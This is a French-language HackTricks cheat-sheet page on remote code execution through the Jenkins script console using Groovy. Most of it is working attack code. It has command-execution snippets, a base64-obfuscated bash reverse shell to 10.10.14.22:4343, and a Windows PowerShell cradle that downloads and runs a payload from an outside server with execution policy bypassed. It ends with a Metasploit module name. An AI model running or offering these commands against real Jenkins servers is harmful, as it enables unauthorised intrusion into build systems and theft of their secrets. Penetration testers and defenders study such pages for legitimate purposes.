Jenkins RCE avec un script Groovy

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Jenkins RCE avec un script Groovy

C'est moins bruyant que de créer un nouveau projet dans Jenkins

  1. Allez à path_jenkins/script
  2. Dans la zone de texte, introduisez le script
python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Vous pouvez exécuter une commande en utilisant : cmd.exe /c dir

Dans linux, vous pouvez faire : "ls /".execute().text

Si vous devez utiliser des guillemets et des apostrophes à l'intérieur du texte. Vous pouvez utiliser """PAYLOAD""" (triple guillemet) pour exécuter le payload.

Un autre script groovy utile est (remplacez [INSERT COMMAND]) :

python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell inversée sous Linux

python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell sous Windows

Vous pouvez préparer un serveur HTTP avec un PS reverse shell et utiliser Jeking pour le télécharger et l'exécuter :

python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Vous pouvez automatiser ce processus avec ce script.

Vous pouvez utiliser MSF pour obtenir un reverse shell :

msf> use exploit/multi/http/jenkins_script_console

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks